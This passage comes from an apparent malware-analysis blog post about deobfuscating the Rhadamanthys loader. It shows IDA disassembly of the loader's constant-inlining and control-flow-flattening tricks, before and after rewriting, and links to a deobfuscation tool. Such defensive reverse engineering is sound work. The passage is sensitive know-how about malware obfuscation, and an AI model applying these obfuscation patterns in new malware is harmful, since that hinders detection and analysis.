&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A868&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;dword&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_48AE28&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A86D&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;48Ch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var_3E4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A874&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;xorps&lt;/span&gt;   &lt;span class=&quot;nv&quot;&gt;xmm0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;xmm0&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A877&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;movups&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;xmmword&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;ptr&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0C5DAC1Ch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;xmm0&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A87F&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;movups&lt;/span&gt;  &lt;span class=&quot;nv&quot;&gt;xmmword&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;ptr&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0C5DAC2Ch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;xmm0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;figure id=&quot;rhada_not_toching&quot; class=&quot;figure-posts&quot; style=&quot;width: 60%; display:block; margin: auto; margin-bottom: -1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/11/rhada_not_toching.jpg&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2025/11/rhada_not_toching.jpg&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/11/rhada_not_toching.jpg&quot; alt=&quot;I&apos;m not touching this (meme)&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/11/rhada_not_toching.jpg&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/11/rhada_not_toching.jpg&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/11/rhada_not_toching.jpg)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Replacing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov eax&lt;/code&gt; is enough for IDA’s decompiler to be able to figure things out.&lt;/p&gt;

&lt;p&gt;The constant inlining is implemented in &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/rhadamanthys-loader-deobfuscator/blob/main/deob_consts.py&quot;&gt;deob_consts.py&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;control-flow-unflattening&quot;&gt;Control flow unflattening&lt;/h3&gt;

&lt;p&gt;The final problem is the flattening, so let’s see what can be done about that.
I don’t want to see any huge-number-comparison spaghetti code anymore.&lt;/p&gt;

&lt;p&gt;There are some IDA plugins for unflattening that are based on microcode manipulation, such as &lt;a href=&quot;https://gitlab.com/eshard/d810&quot;&gt;D-810&lt;/a&gt;, and more recently, &lt;a href=&quot;https://github.com/KasperskyLab/hrtng&quot;&gt;hrtng&lt;/a&gt; (which contains an extended version of &lt;a href=&quot;https://github.com/RolfRolles/HexRaysDeob&quot;&gt;HexRaysDeob&lt;/a&gt;).
They all fail to deal with this particular variant of flattening.
I assume that it would be possible to make them compatible with some effort, but I’m not familiar with IDA microcode specifics and didn’t feel like getting into it for this project.
Plus I figured I could re-use quite a bit of the rewriting code that we already came up with for the jump deobfuscation.&lt;/p&gt;

&lt;p&gt;One (special?) thing about this flattener is that it doesn’t always go to the beginning of the dispatcher once it has assigned a new state variable.
If it can find another suitable point in the dispatcher it can jump to, it will do so.
This means that analyses looking at the parents of the “main” dispatcher block won’t work, because they’ll miss things.&lt;/p&gt;

&lt;p&gt;I chose a rather simplistic approach that seems to work well for this particular flattener:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Look for comparisons against the state register that are followed by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jz&lt;/code&gt; (or in rare cases &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jnz&lt;/code&gt; where things are flipped). Create a mapping “state key → target”.&lt;/li&gt;
  &lt;li&gt;Look for assignments to the state register. The assignment value is asserted to be contained in the mapping created in step 1. At the end of the block, create jump(s) to the real target(s).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Here’s an example of step 2 (unrelated instruction have been cut):&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B758&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;48Ch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var_3B4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B760&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0B34CE2DFh&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; new state key&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B765&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jnz&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40C696&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B771&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0BB2D365h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B777&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jge&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40C6AD&lt;/span&gt;       &lt;span class=&quot;c1&quot;&gt;; never taken&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B77D&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40B6C0&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C696&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0FA72F85Ah&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; new state key&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C6A1&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0BB2D365h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C6A7&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jl&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;loc_40B77D&lt;/span&gt;       &lt;span class=&quot;c1&quot;&gt;; always taken (then goes straight to 40B6C0)&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C6AD&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40A607&lt;/span&gt;       &lt;span class=&quot;c1&quot;&gt;; dead&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After rewriting:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B758&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;48Ch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var_3B4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B765&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jnz&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40C696&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B771&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0BB2D365h&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; irrelevant leftover&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;B777&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40BCAF&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; destination for 0B34CE2DFh&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C696&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;nop&lt;/span&gt;
                               &lt;span class=&quot;nf&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C6A1&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40C3AC&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; destination for 0FA72F85Ah&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;These sites are connected with a branch, but they are actually rewritten independently of each other; as you can see, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jcc&lt;/code&gt; instructions unrelated to dispatching are left as-is (0x40B765).
The part where it goes to the dispatcher with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jge&lt;/code&gt;/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jl&lt;/code&gt;/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp&lt;/code&gt; can be ignored and overwritten.&lt;/p&gt;

&lt;p&gt;Another example. Remember &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmov&lt;/code&gt;? It has come back to haunt us.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4B4&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;48Ch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var_448&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4B9&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;2B8162DCh&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4BE&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;456A4274h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4C3&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmovz&lt;/span&gt;   &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4C6&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0BB2D365h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4CC&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jl&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;loc_40B6C0&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4D2&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40A607&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After rewriting:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4B4&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;48Ch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var_448&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4B9&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;2B8162DCh&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; irrelevant leftover&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4BE&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;456A4274h&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; irrelevant leftover&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4C3&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jz&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;loc_40B199&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; destination for 456A4274h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;C4C9&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;loc_40ADA2&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; destination for 2B8162DCh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can see, the condition code from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmovcc&lt;/code&gt; is simply adapted for a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jcc&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jz&lt;/code&gt; here).
It’s just a question of figuring out which operand of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmov&lt;/code&gt; goes where (in logical terms), so you don’t swap the destinations by accident.&lt;/p&gt;

&lt;p&gt;While this all seems “simple” enough, care still needs to be taken.
Especially in larger blocks, there may be situations where the compiler put other flag-affecting instructions below the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmov&lt;/code&gt;.
Then by the time you do your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jcc&lt;/code&gt;, the flags won’t be what you expected anymore!
For the most part, these were artifacts from the jump obfuscation that can be done away with by doing a more comprehensive cleanup in that previous deobfuscation phase.
But it’s still something that needs to be checked for before rewriting, else you’re in for nasty logic bugs.&lt;/p&gt;

&lt;p&gt;Lastly, there is a special case where the state register is not set to a constant, but to a stack variable.
This is sometimes the case for decisions that can be evaluated in the function’s first block, so the branch condition and state keys will be up there.
It poses quite a challenge, because in order to have a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jcc&lt;/code&gt; in a block way down in the function, you also need to pull down the branch condition. That’s not always trivial, especially if there’s a comparison against some volatile register that is only valid in the first block.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;; Up in the in the first block:&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A59D&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ebp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;arg_4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;           &lt;span class=&quot;c1&quot;&gt;; we need this down at 40BEXX&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5A1&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0EC71CA67h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5A6&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0A0716E5Bh&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5AB&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmovz&lt;/span&gt;   &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;A5AE&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;48Ch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var_44C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; Site of use (state var assignment):&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BECC&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;48Ch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var_44C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; load stack variable&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BED0&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0BB2D365h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BED6&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jl&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;loc_40B6C0&lt;/span&gt;
